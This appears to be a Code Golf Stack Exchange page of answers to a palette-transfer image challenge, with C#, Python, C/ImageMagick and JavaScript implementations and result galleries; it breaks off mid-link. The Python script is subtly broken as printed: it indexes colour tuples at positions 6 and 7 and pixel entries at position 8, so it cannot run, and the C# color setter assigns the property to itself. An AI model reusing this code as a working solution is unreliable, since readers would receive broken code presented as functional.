**Form1.cs** ``` using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Drawing.Imaging; using System.IO; namespace Palette { public struct YRB { public int y, cb, cr; public YRB(int r, int g, int b) { y = (int)(0.299 * r + 0.587 * g + 0.114 * b); cb = (int)(128 - 0.168736 * r - 0.331264 * g + 0.5 * b); cr = (int)(128 + 0.5 * r - 0.418688 * g - 0.081312 * b); } } public struct Pixel { private const int ARGBAlphaShift = 24; private const int ARGBRedShift = 16; private const int ARGBGreenShift = 8; private const int ARGBBlueShift = 0; public int px, py; private uint _color; public YRB yrb; public Pixel(uint col, int px = 0, int py = 0) { this.px = px; this.py = py; this._color = col; yrb = new YRB((int)(col >> ARGBRedShift) & 255, (int)(col >> ARGBGreenShift) & 255, (int)(col >> ARGBBlueShift) & 255); } public uint color { get { return _color; } set { _color = color; yrb = new YRB((int)(color >> ARGBRedShift) & 255, (int)(color >> ARGBGreenShift) & 255, (int)(color >> ARGBBlueShift) & 255); } } public int y { get { return yrb.y; } } public int cr { get { return yrb.cr; } } public int cb { get { return yrb.cb; } } } public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { DirectoryInfo di = new System.IO.DirectoryInfo(@"c:\temp\"); foreach (FileInfo file in di.GetFiles("*.png")) { ListViewItem item = new ListViewItem(file.Name); item.SubItems.Add(file.FullName); lvFiles.Items.Add(item); } } private void lvFiles_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e) { if (e.IsSelected) { string file = e.Item.SubItems[1].Text; GetImagePB(pbSource, file); pbSource.Tag = file; DupImage(pbSource, pbOutput); this.Width = pbOutput.Width + pbOutput.Left + 20; this.Height = Math.Max(pbOutput.Height, pbPalette.Height)+lvFiles.Height*2; } } private void lvFiles_ItemCheck(object sender, ItemCheckEventArgs e) { foreach (ListViewItem item in lvFiles.CheckedItems) { if (item.Index != e.Index) item.Checked = false; } string file = lvFiles.Items[e.Index].SubItems[1].Text; GetImagePB(pbPalette, file); pbPalette.Tag = lvFiles.Items[e.Index].SubItems[0].Text; this.Width = pbOutput.Width + pbOutput.Left + 20; this.Height = Math.Max(pbOutput.Height, pbPalette.Height) + lvFiles.Height * 2; } Pixel[] Palette; Pixel[] Source; private void BtnStart_Click(object sender, EventArgs e) { lvFiles.Enabled = false; btnStart.Visible = false; progressBar.Visible = true; DupImage(pbSource, pbOutput); Work(pbSource.Image as Bitmap, pbPalette.Image as Bitmap, pbOutput.Image as Bitmap); string newfile = (string)pbSource.Tag +"-"+ (string)pbPalette.Tag; pbOutput.Image.Save(newfile, ImageFormat.Png); lvFiles.Enabled = true; btnStart.Visible = true; progressBar.Visible = false; } private void Work(Bitmap srcb, Bitmap palb, Bitmap outb) { GetData(srcb, out Source); GetData(palb, out Palette); FastBitmap fout = new FastBitmap(outb); FastBitmap fsrc = new FastBitmap(srcb); int pm = Source.Length; int w = outb.Width; int h = outb.Height; progressBar.Maximum = pm; fout.LockImage(); for (int p = 0; p < pm; p++) { fout.SetPixel(Source[p].px, Source[p].py, Palette[p].color); } fout.UnlockImage(); pbOutput.Refresh(); var rnd = new Random(); int totsw = 0; progressBar.Maximum = 200; for (int i = 0; i < 200; i++) { int nsw = 0; progressBar.Value = i; fout.LockImage(); fsrc.LockImage(); for (int j = 0; j < 200000; j++) { nsw += CheckSwap(fsrc, fout, 1 + rnd.Next(w - 2), 1 + rnd.Next(h - 2), 1 + rnd.Next(w - 2), 1 + rnd.Next(h - 2)); } totsw += nsw; lnCurSwap.Text = nsw.ToString(); lnTotSwap.Text = totsw.ToString(); fout.UnlockImage(); fsrc.UnlockImage(); pbOutput.Refresh(); Application.DoEvents(); if (nsw == 0) { break; } } } int CheckSwap(FastBitmap fsrc, FastBitmap fout, int x1, int y1, int x2, int y2) { const int fmax = 3; YRB ov1 = new YRB(); YRB sv1 = new YRB(); YRB ov2 = new YRB(); YRB sv2 = new YRB(); int f; for (int dx = -1; dx <= 1; dx++) { for (int dy = -1; dy <= 1; dy++) { f = (fmax - Math.Abs(dx) - Math.Abs(dy)); { Pixel o1 = new Pixel(fout.GetPixel(x1 + dx, y1 + dy)); ov1.y += o1.y * f; ov1.cb += o1.cr * f; ov1.cr += o1.cb * f; Pixel s1 = new Pixel(fsrc.GetPixel(x1 + dx, y1 + dy)); sv1.y += s1.y * f; sv1.cb += s1.cr * f; sv1.cr += s1.cb * f; Pixel o2 = new Pixel(fout.GetPixel(x2 + dx, y2 + dy)); ov2.y += o2.y * f; ov2.cb += o2.cr * f; ov2.cr += o2.cb * f; Pixel s2 = new Pixel(fsrc.GetPixel(x2 + dx, y2 + dy)); sv2.y += s2.y * f; sv2.cb += s2.cr * f; sv2.cr += s2.cb * f; } } } YRB ox1 = ov1; YRB ox2 = ov2; Pixel oc1 = new Pixel(fout.GetPixel(x1, y1)); Pixel oc2 = new Pixel(fout.GetPixel(x2, y2)); ox1.y += fmax * oc2.y - fmax * oc1.y; ox1.cb += fmax * oc2.cr - fmax * oc1.cr; ox1.cr += fmax * oc2.cb - fmax * oc1.cb; ox2.y += fmax * oc1.y - fmax * oc2.y; ox2.cb += fmax * oc1.cr - fmax * oc2.cr; ox2.cr += fmax * oc1.cb - fmax * oc2.cb; int curd = Delta(ov1, sv1, 1) + Delta(ov2, sv2, 1); int newd = Delta(ox1, sv1, 1) + Delta(ox2, sv2, 1); if (newd < curd) { fout.SetPixel(x1, y1, oc2.color); fout.SetPixel(x2, y2, oc1.color); return 1; } return 0; } int Delta(YRB p1, YRB p2, int sf) { int dy = (p1.y - p2.y); int dr = (p1.cr - p2.cr); int db = (p1.cb - p2.cb); return dy * dy * sf + dr * dr + db * db; } Bitmap GetData(Bitmap bmp, out Pixel[] Output) { FastBitmap fb = new FastBitmap(bmp); BitmapData bmpData = fb.LockImage(); Output = new Pixel[bmp.Width * bmp.Height]; int p = 0; for (int y = 0; y < bmp.Height; y++) { uint col = fb.GetPixel(0, y); Output[p++] = new Pixel(col, 0, y); for (int x = 1; x < bmp.Width; x++) { col = fb.GetNextPixel(); Output[p++] = new Pixel(col, x, y); } } fb.UnlockImage(); // Unlock the bits. Array.Sort(Output, (a, b) => a.y - b.y); return bmp; } void DupImage(PictureBox s, PictureBox d) { if (d.Image != null) d.Image.Dispose(); d.Image = new Bitmap(s.Image.Width, s.Image.Height); } void GetImagePB(PictureBox pb, string file) { Bitmap bms = new Bitmap(file, false); Bitmap bmp = bms.Clone(new Rectangle(0, 0, bms.Width, bms.Height), PixelFormat.Format32bppArgb); bms.Dispose(); if (pb.Image != null) pb.Image.Dispose(); pb.Image = bmp; } } //Adapted from Visual C# Kicks - http://www.vcskicks.com/ unsafe public class FastBitmap { private Bitmap workingBitmap = null; private int width = 0; private BitmapData bitmapData = null; private Byte* pBase = null; public FastBitmap(Bitmap inputBitmap) { workingBitmap = inputBitmap; } public BitmapData LockImage() { Rectangle bounds = new Rectangle(Point.Empty, workingBitmap.Size); width = (int)(bounds.Width * 4 + 3) & ~3; //Lock Image bitmapData = workingBitmap.LockBits(bounds, ImageLockMode.ReadWrite, PixelFormat.Format32bppArgb); pBase = (Byte*)bitmapData.Scan0.ToPointer(); return bitmapData; } private uint* pixelData = null; public uint GetPixel(int x, int y) { pixelData = (uint*)(pBase + y * width + x * 4); return *pixelData; } public uint GetNextPixel() { return *++pixelData; } public void GetPixelArray(int x, int y, uint[] Values, int offset, int count) { pixelData = (uint*)(pBase + y * width + x * 4); while (count-- > 0) { Values[offset++] = *pixelData++; } } public void SetPixel(int x, int y, uint color) { pixelData = (uint*)(pBase + y * width + x * 4); *pixelData = color; } public void SetNextPixel(uint color) { *++pixelData = color; } public void UnlockImage() { workingBitmap.UnlockBits(bitmapData); bitmapData = null; pBase = null; } } } ``` **Form1.Designer.cs** ``` namespace Palette { partial class Form1 { /// <summary> /// Variabile di progettazione necessaria. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Liberare le risorse in uso. /// </summary> /// <param name="disposing">ha valore true se le risorse gestite devono essere eliminate, false in caso contrario.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Codice generato da Progettazione Windows Form /// <summary> /// Metodo necessario per il supporto della finestra di progettazione. Non modificare /// il contenuto del metodo con l'editor di codice. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); this.panel = new System.Windows.Forms.FlowLayoutPanel(); this.pbSource = new System.Windows.Forms.PictureBox(); this.pbPalette = new System.Windows.Forms.PictureBox(); this.pbOutput = new System.Windows.Forms.PictureBox(); this.btnStart = new System.Windows.Forms.Button(); this.progressBar = new System.Windows.Forms.ProgressBar(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.lvFiles = new System.Windows.Forms.ListView(); this.lnTotSwap = new System.Windows.Forms.Label(); this.lnCurSwap = new System.Windows.Forms.Label(); this.panel.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pbSource)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pbPalette)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pbOutput)).BeginInit(); this.SuspendLayout(); // // panel // this.panel.AutoScroll = true; this.panel.AutoSize = true; this.panel.Controls.Add(this.pbSource); this.panel.Controls.Add(this.pbPalette); this.panel.Controls.Add(this.pbOutput); this.panel.Dock = System.Windows.Forms.DockStyle.Top; this.panel.Location = new System.Drawing.Point(0, 0); this.panel.Name = "panel"; this.panel.Size = new System.Drawing.Size(748, 266); this.panel.TabIndex = 3; this.panel.WrapContents = false; // // pbSource // this.pbSource.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.pbSource.Location = new System.Drawing.Point(3, 3); this.pbSource.Name = "pbSource"; this.pbSource.Size = new System.Drawing.Size(157, 260); this.pbSource.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pbSource.TabIndex = 1; this.pbSource.TabStop = false; // // pbPalette // this.pbPalette.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.pbPalette.Location = new System.Drawing.Point(166, 3); this.pbPalette.Name = "pbPalette"; this.pbPalette.Size = new System.Drawing.Size(172, 260); this.pbPalette.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pbPalette.TabIndex = 3; this.pbPalette.TabStop = false; // // pbOutput // this.pbOutput.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.pbOutput.Location = new System.Drawing.Point(344, 3); this.pbOutput.Name = "pbOutput"; this.pbOutput.Size = new System.Drawing.Size(172, 260); this.pbOutput.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pbOutput.TabIndex = 4; this.pbOutput.TabStop = false; // // btnStart // this.btnStart.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.btnStart.Location = new System.Drawing.Point(669, 417); this.btnStart.Name = "btnStart"; this.btnStart.Size = new System.Drawing.Size(79, 42); this.btnStart.TabIndex = 4; this.btnStart.Text = "Start"; this.btnStart.UseVisualStyleBackColor = true; this.btnStart.Click += new System.EventHandler(this.BtnStart_Click); // // progressBar // this.progressBar.Dock = System.Windows.Forms.DockStyle.Bottom; this.progressBar.Location = new System.Drawing.Point(0, 465); this.progressBar.Name = "progressBar"; this.progressBar.Size = new System.Drawing.Size(748, 16); this.progressBar.TabIndex = 5; // // imageList1 // this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth8Bit; this.imageList1.ImageSize = new System.Drawing.Size(16, 16); this.imageList1.TransparentColor = System.Drawing.Color.Transparent; // // lvFiles // this.lvFiles.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.lvFiles.CheckBoxes = true; this.lvFiles.HideSelection = false; this.lvFiles.Location = new System.Drawing.Point(12, 362); this.lvFiles.MultiSelect = false; this.lvFiles.Name = "lvFiles"; this.lvFiles.Size = new System.Drawing.Size(651, 97); this.lvFiles.Sorting = System.Windows.Forms.SortOrder.Ascending; this.lvFiles.TabIndex = 7; this.lvFiles.UseCompatibleStateImageBehavior = false; this.lvFiles.View = System.Windows.Forms.View.List; this.lvFiles.ItemCheck += new System.Windows.Forms.ItemCheckEventHandler(this.lvFiles_ItemCheck); this.lvFiles.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lvFiles_ItemSelectionChanged); // // lnTotSwap // this.lnTotSwap.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.lnTotSwap.Location = new System.Drawing.Point(669, 362); this.lnTotSwap.Name = "lnTotSwap"; this.lnTotSwap.Size = new System.Drawing.Size(58, 14); this.lnTotSwap.TabIndex = 8; this.lnTotSwap.Text = "label1"; // // lnCurSwap // this.lnCurSwap.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.lnCurSwap.Location = new System.Drawing.Point(669, 385); this.lnCurSwap.Name = "lnCurSwap"; this.lnCurSwap.Size = new System.Drawing.Size(58, 14); this.lnCurSwap.TabIndex = 9; this.lnCurSwap.Text = "label1"; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.ControlDark; this.ClientSize = new System.Drawing.Size(748, 481); this.Controls.Add(this.lnCurSwap); this.Controls.Add(this.lnTotSwap); this.Controls.Add(this.lvFiles); this.Controls.Add(this.progressBar); this.Controls.Add(this.btnStart); this.Controls.Add(this.panel); this.Name = "Form1"; this.Text = "Form1"; this.Load += new System.EventHandler(this.Form1_Load); this.panel.ResumeLayout(false); this.panel.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pbSource)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pbPalette)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pbOutput)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.FlowLayoutPanel panel; private System.Windows.Forms.PictureBox pbSource; private System.Windows.Forms.PictureBox pbPalette; private System.Windows.Forms.PictureBox pbOutput; private System.Windows.Forms.Button btnStart; private System.Windows.Forms.ProgressBar progressBar; private System.Windows.Forms.ImageList imageList1; private System.Windows.Forms.ListView lvFiles; private System.Windows.Forms.Label lnTotSwap; private System.Windows.Forms.Label lnCurSwap; } } ``` **Program.cs** ``` using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; namespace Palette { static class Program { /// <summary> /// Punto di ingresso principale dell'applicazione. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } } ``` Check 'Unsafe code' in project property to compile. [Answer] # Python Edit: Just realized that you can actually sharpen the source with ImageFilter to make the results more well-defined. Rainbow -> Mona Lisa (sharpened Mona Lisa source, Luminance only) ![enter image description here](https://i.stack.imgur.com/fe3bX.png) Rainbow -> Mona Lisa (non-sharpened source, weighted with Y = 10, I = 10, Q = 0) ![enter image description here](https://i.stack.imgur.com/yUOpD.png) Mona Lisa -> American Gothic (non-sharpened source, Luminance only) ![enter image description here](https://i.stack.imgur.com/8JR1o.png) Mona Lisa -> American Gothic (non-sharpened source, weighted with Y = 1, I = 10, Q = 1) ![enter image description here](https://i.stack.imgur.com/u6V6z.png) River -> Rainbow (non-sharpened source, Luminance only) ![enter image description here](https://i.stack.imgur.com/qbtq2.png) Basically, it gets all the pixels from the two pictures into two lists. Sort them with the luminance as the key. Y in YIQ represents the luminance. Then, for each pixel in the source (which is in ascending luminance order) get the RGB value from pixel of the same index in the pallete list. ``` import Image, ImageFilter, colorsys def getPixels(image): width, height = image.size pixels = [] for x in range(width): for y in range(height): pixels.append([(x,y), image.getpixel((x,y))]) return pixels def yiq(pixel): # y is the luminance y,i,q = colorsys.rgb_to_yiq(pixel[1][0], pixel[1][6], pixel[1][7]) # Change the weights accordingly to get different results return 10*y + 0*i + 0*q # Open the images source = Image.open('ml.jpg') pallete = Image.open('rainbow.png') # Sharpen the source... It won't affect the palette anyway =D source = source.filter(ImageFilter.SHARPEN) # Sort the two lists by luminance sourcePixels = sorted(getPixels(source), key=yiq) palletePixels = sorted(getPixels(pallete), key=yiq) copy = Image.new('RGB', source.size) # Iterate through all the coordinates of source # And set the new color index = 0 for sourcePixel in sourcePixels: copy.putpixel(sourcePixel[0], palletePixels[index][8]) index += 1 # Save the result copy.save('copy.png') ``` To keep up with the trend of animations... Pixels in the scream being quicksorted into starry night and vice-versa ![enter image description here](https://i.stack.imgur.com/G6TrB.gif) ![enter image description here](https://i.stack.imgur.com/yfvOv.gif) [Answer] C, with Lab color space and improved dithering Did I say I was done? I lied. I think the algorithm in my other solution is the best out there, but Perl just isn't fast enough for number crunching tasks, so I reimplemented my work in C. It now runs *all* of the images in this post, at a higher quality than the original at about 3 minutes per image, and slightly lower quality (0.5% level) runs in 20-30 seconds per image. Basically all of the work is done with ImageMagick, and the dithering is done using ImageMagick's cubic spline interpolation, which gives a better / less patterned result. ## Code ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <unistd.h> #include <wand/MagickWand.h> #define ThrowWandException(wand) \ { \ char \ *description; \ \ ExceptionType \ severity; \ \ description=MagickGetException(wand,&severity); \ (void) fprintf(stderr,"%s %s %lu %s\n",GetMagickModule(),description); \ description=(char *) MagickRelinquishMemory(description); \ abort(); \ exit(-1); \ } int width, height; /* Target image size */ MagickWand *source_wand, *target_wand, *img_wand, *target_lab_wand, *img_lab_wand; PixelPacket *source_pixels, *target_pixels, *img_pixels, *target_lab_pixels, *img_lab_pixels; Image *img, *img_lab, *target, *target_lab; CacheView *img_lab_view, *target_lab_view; ExceptionInfo *e; MagickWand *load_image(const char *filename) { MagickWand *img = NewMagickWand(); if (!MagickReadImage(img, filename)) { ThrowWandException(img); } return img; } PixelPacket *get_pixels(MagickWand *wand) { PixelPacket *ret = GetAuthenticPixels( GetImageFromMagickWand(wand), 0, 0, MagickGetImageWidth(wand), MagickGetImageHeight(wand), e); CatchException(e); return ret; } void sync_pixels(MagickWand *wand) { SyncAuthenticPixels(GetImageFromMagickWand(wand), e); CatchException(e); } MagickWand *transfer_pixels() { if (MagickGetImageWidth(source_wand) * MagickGetImageHeight(source_wand) != MagickGetImageWidth(target_wand) * MagickGetImageHeight(target_wand)) { perror("size mismtch"); } MagickWand *img_wand = CloneMagickWand(target_wand); img_pixels = get_pixels(img_wand); memcpy(img_pixels, source_pixels, MagickGetImageWidth(img_wand) * MagickGetImageHeight(img_wand) * sizeof(PixelPacket)); sync_pixels(img_wand); return img_wand; } MagickWand *image_to_lab(MagickWand *img) { MagickWand *lab = CloneMagickWand(img); TransformImageColorspace(GetImageFromMagickWand(lab), LabColorspace); return lab; } int lab_distance(PixelPacket *a, PixelPacket *b) { int l_diff = (GetPixelL(a) - GetPixelL(b)) / 256, a_diff = (GetPixela(a) - GetPixela(b)) / 256, b_diff = (GetPixelb(a) - GetPixelb(b)) / 256; return (l_diff * l_diff + a_diff * a_diff + b_diff * b_diff); } int should_swap(int x1, int x2, int y1, int y2) { int dist = lab_distance(&img_lab_pixels[width * y1 + x1], &target_lab_pixels[width * y1 + x1]) + lab_distance(&img_lab_pixels[width * y2 + x2], &target_lab_pixels[width * y2 + x2]); int swapped_dist = lab_distance(&img_lab_pixels[width * y2 + x2], &target_lab_pixels[width * y1 + x1]) + lab_distance(&img_lab_pixels[width * y1 + x1], &target_lab_pixels[width * y2 + x2]); return swapped_dist < dist; } void pixel_multiply_add(MagickPixelPacket *dest, PixelPacket *src, double mult) { dest->red += (double)GetPixelRed(src) * mult; dest->green += ((double)GetPixelGreen(src) - 32768) * mult; dest->blue += ((double)GetPixelBlue(src) - 32768) * mult; } #define min(x,y) (((x) < (y)) ? (x) : (y)) #define max(x,y) (((x) > (y)) ? (x) : (y)) double mpp_distance(MagickPixelPacket *a, MagickPixelPacket *b) { double l_diff = QuantumScale * (a->red - b->red), a_diff = QuantumScale * (a->green - b->green), b_diff = QuantumScale * (a->blue - b->blue); return (l_diff * l_diff + a_diff * a_diff + b_diff * b_diff); } void do_swap(PixelPacket *pix, int x1, int x2, int y1, int y2) { PixelPacket tmp = pix[width * y1 + x1]; pix[width * y1 + x1] = pix[width * y2 + x2]; pix[width * y2 + x2] = tmp; } int should_swap_dither(double detail, int x1, int x2, int y1, int y2) { // const InterpolatePixelMethod method = Average9InterpolatePixel; const InterpolatePixelMethod method = SplineInterpolatePixel; MagickPixelPacket img1, img2, img1s, img2s, target1, target2; GetMagickPixelPacket(img, &img1); GetMagickPixelPacket(img, &img2); GetMagickPixelPacket(img, &img1s); GetMagickPixelPacket(img, &img2s); GetMagickPixelPacket(target, &target1); GetMagickPixelPacket(target, &target2); InterpolateMagickPixelPacket(img, img_lab_view, method, x1, y1, &img1, e); InterpolateMagickPixelPacket(img, img_lab_view, method, x2, y2, &img2, e); InterpolateMagickPixelPacket(target, target_lab_view, method, x1, y1, &target1, e); InterpolateMagickPixelPacket(target, target_lab_view, method, x2, y2, &target2, e); do_swap(img_lab_pixels, x1, x2, y1, y2); // sync_pixels(img_wand); InterpolateMagickPixelPacket(img, img_lab_view, method, x1, y1, &img1s, e); InterpolateMagickPixelPacket(img, img_lab_view, method, x2, y2, &img2s, e); do_swap(img_lab_pixels, x1, x2, y1, y2); // sync_pixels(img_wand); pixel_multiply_add(&img1, &img_lab_pixels[width * y1 + x1], detail); pixel_multiply_add(&img2, &img_lab_pixels[width * y2 + x2], detail); pixel_multiply_add(&img1s, &img_lab_pixels[width * y2 + x2], detail); pixel_multiply_add(&img2s, &img_lab_pixels[width * y1 + x1], detail); pixel_multiply_add(&target1, &target_lab_pixels[width * y1 + x1], detail); pixel_multiply_add(&target2, &target_lab_pixels[width * y2 + x2], detail); double dist = mpp_distance(&img1, &target1) + mpp_distance(&img2, &target2); double swapped_dist = mpp_distance(&img1s, &target1) + mpp_distance(&img2s, &target2); return swapped_dist + 1.0e-4 < dist; } int main(int argc, char *argv[]) { if (argc != 7) { fprintf(stderr, "Usage: %s source.png target.png dest nodither_pct dither_pct detail\n", argv[0]); return 1; } char *source_filename = argv[1]; char *target_filename = argv[2]; char *dest = argv[3]; double nodither_pct = atof(argv[4]); double dither_pct = atof(argv[5]); double detail = atof(argv[6]) - 1; const int SWAPS_PER_LOOP = 1000000; int nodither_limit = ceil(SWAPS_PER_LOOP * nodither_pct / 100); int dither_limit = ceil(SWAPS_PER_LOOP * dither_pct / 100); int dither = 0, frame = 0; char outfile[256], cmdline[1024]; sprintf(outfile, "out/%s.png", dest); MagickWandGenesis(); e = AcquireExceptionInfo(); source_wand = load_image(source_filename); source_pixels = get_pixels(source_wand); target_wand = load_image(target_filename); target_pixels = get_pixels(target_wand); img_wand = transfer_pixels(); img_pixels = get_pixels(img_wand); target_lab_wand = image_to_lab(target_wand); target_lab_pixels = get_pixels(target_lab_wand); img_lab_wand = image_to_lab(img_wand); img_lab_pixels = get_pixels(img_lab_wand); img = GetImageFromMagickWand(img_lab_wand); target = GetImageFromMagickWand(target_lab_wand); img_lab_view = AcquireAuthenticCacheView(img, e); target_lab_view = AcquireAuthenticCacheView(target,e); CatchException(e); width = MagickGetImageWidth(img_wand); height = MagickGetImageHeight(img_wand); while (1) { int swaps_made = 0; for (int n = 0 ; n < SWAPS_PER_LOOP ; n++) { int x1 = rand() % width, x2 = rand() % width, y1 = rand() % height, y2 = rand() % height; int swap = dither ? should_swap_dither(detail, x1, x2, y1, y2) : should_swap(x1, x2, y1, y2); if (swap) { do_swap(img_pixels, x1, x2, y1, y2); do_swap(img_lab_pixels, x1, x2, y1, y2); swaps_made ++; } } sync_pixels(img_wand); if (!MagickWriteImages(img_wand, outfile, MagickTrue)) { ThrowWandException(img_wand); } img_pixels = get_pixels(img_wand); sprintf(cmdline, "cp out/%s.png anim/%s/%05i.png", dest, dest, frame++); system(cmdline); if (!dither && swaps_made < nodither_limit) { sprintf(cmdline, "cp out/%s.png out/%s-nodither.png", dest, dest); system(cmdline); dither = 1; } else if (dither && swaps_made < dither_limit) break; } return 0; } ``` Compile with ``` gcc -std=gnu99 -O3 -march=native -ffast-math \ -o transfer `pkg-config --cflags MagickWand` \ transfer.c `pkg-config --libs MagickWand` -lm ``` ## Results Mostly the same as the Perl version, just slightly better, but there are a few exceptions. Dithering is less noticeable in general. Scream -> Starry Night doesn't have the "flaming mountain" effect, and the Camaro looks less glitchy with the gray pixels. I think the Perl version's colorspace code has a bug with low-saturation pixels. ## American Gothic palette ![](https://i.stack.imgur.com/xttJ2.png) ![](https://i.stack.imgur.com/EoP13.png) ![](https://i.stack.imgur.com/pcntb.png) ![](https://i.stack.imgur.com/5LInn.png) ## Mona Lisa palette ![](https://i.stack.imgur.com/cbCVm.png) ![](https://i.stack.imgur.com/5x634.png) ![](https://i.stack.imgur.com/B5IcL.png) ![](https://i.stack.imgur.com/ihbqI.png) ![](https://i.stack.imgur.com/Df3WN.png) ![](https://i.stack.imgur.com/wv5ty.png) ## Starry Night palette ![](https://i.stack.imgur.com/RlGUO.png) ![](https://i.stack.imgur.com/0Crdw.png) ![](https://i.stack.imgur.com/QGJR7.png) ![](https://i.stack.imgur.com/CEGMj.png) ![](https://i.stack.imgur.com/JqYru.png) ![](https://i.stack.imgur.com/2btn6.png) ## Scream palette ![](https://i.stack.imgur.com/PdHjY.png) ![](https://i.stack.imgur.com/2Zrhx.png) ![](https://i.stack.imgur.com/Z36eb.png) ![](https://i.stack.imgur.com/uijNq.png) ![](https://i.stack.imgur.com/1dMIc.png) ![](https://i.stack.imgur.com/gQSQq.png) ![](https://i.stack.imgur.com/EvO5m.png) ![](https://i.stack.imgur.com/1OwcP.png) ## Spheres palette ![](https://i.stack.imgur.com/uLVaw.png) ![](https://i.stack.imgur.com/HC4oM.png) ![](https://i.stack.imgur.com/kE62J.png) ![](https://i.stack.imgur.com/Xb4Fm.png) ![](https://i.stack.imgur.com/LpHWU.png) ![](https://i.stack.imgur.com/qQo6I.png) ## Mustang (Camaro palette) ![](https://i.stack.imgur.com/lmvIG.png) ![](https://i.stack.imgur.com/NStiy.png) ## Camaro (Mustang palette) ![](https://i.stack.imgur.com/Dq2t7.png) ![](https://i.stack.imgur.com/8txwI.jpg) [Answer] **JS** Just run on two image urls. As a JS package you can run it by yourself in the browser. Provided are fiddles that play around with different settings. Please bear in mind that this fiddle: <http://jsfiddle.net/eithe/J7jEk/> will be always up to date (contain all the settings). As this is growing (new options are added), I won't be updating all the previous fiddles. **Calls** * `f("string to image (palette)", "string to image", {object of options});` * `f([[palette pixel], [palette pixel], ..., "string to image", {object of options});` **Options** * algorithm: `'balanced'`, `'surrounding'`, `'reverse'`, `'hsv'`, `'yiq'`, `'lab'` * speed: animation speed * movement: `true` - should the animation show movement from start to end position * surrounding: if `'surrounding'` algorithm is selected this is the weight of surrounding that will be taken into account when calculating weight of the given pixel * h s v: if `'hsv'` algorithm is selected these parameters control how much hue, saturation and value affect the weights * y i q: if `'qiv'` algorithm is selected these parameters control how much y i q affect the weights * l a b: if `'lab'` algorithm is selected these parameters control how much l a b affect the weights * noise: how much randomness will be added to weights * unique: should the pixels from palette be used only once (see: [Photomosaics or: How Many Programmers Does it Take to Replace a Light Bulb?](https://codegolf.stackexchange.com/questions/34484/photomosaics-or-how-many-programmers-does-it-take-to-replace-a-light-bulb)) * pixel\_1 / pixel\_2 {width,height}: size of the pixel (in pixels :D) **Gallery** (for the showcases I'm always using Mona Lisa & American Gothic, unless other specified): * balanced: <http://jsfiddle.net/eithe/J7jEk/> * ![weighted](https://i.stack.imgur.com/qotvw.png) * hsv: <http://jsfiddle.net/eithe/J7jEk/27/> * ![hsv](https://i.stack.imgur.com/DZQnw.png) * lab: <http://jsfiddle.net/eithe/J7jEk/26/> * ![lab](https://i.stack.imgur.com/T14YC.png) * weighted by surrounding as well: <http://jsfiddle.net/eithe/J7jEk/18/> * ![weighted by surrounding](https://i.stack.imgur.com/GZTzD.png) * inspired with OP's gifs, now movement included as well: <http://jsfiddle.net/eithe/J7jEk/5/> * because one of the comments got me wondering, what would happen if the palette was defined: <http://jsfiddle.net/eithe/J7jEk/6/> (result reminds me of EGA, and does weird things with my eyes while generating) * ![EGA baby!](https://i.stack.imgur.com/JAGjg.png) * every color used once, with 5 gradient step between hues (0,0,0 -> 0,0,5 -> 0,0,10 ->...) * ![every color with step+5](https://i.stack.imgur.com/ZXc3e.png) * greyscale (0,0,0 -> ... -> 127,127,127 -> ... -> 255,255,255) * ![greyscale](https://i.stack.imgur.com/NWSS6.png) * black & white * ![b&w](https://i.stack.imgur.com/FtQk0.png) * Mona Lisa to Mona Lisa with noise: <http://jsfiddle.net/eithe/J7jEk/8/> * ![noise baby!](https://i.stack.imgur.com/G4XQ5.png) * Mona Lisa to Mona Lisa inverse: <http://jsfiddle.net/eithe/J7jEk/21/> * ![inverse](https://i.stack.imgur.com/BCjOT.png) * Rotation: <http://jsfiddle.net/eithe/J7jEk/28/> * And for fun - the gif from OP showing how balanced algorithm is broken :D <http://jsfiddle.net/eithe/J7jEk/30/>, lab though gives good result: <http://jsfiddle.net/eithe/J7jEk/31/> * And what LAB does when a palette is specified: <http://jsfiddle.net/eithe/J7jEk/32/> * having fun with this: [Photomosaics or: How Many Programmers Does it Take to Replace a Light 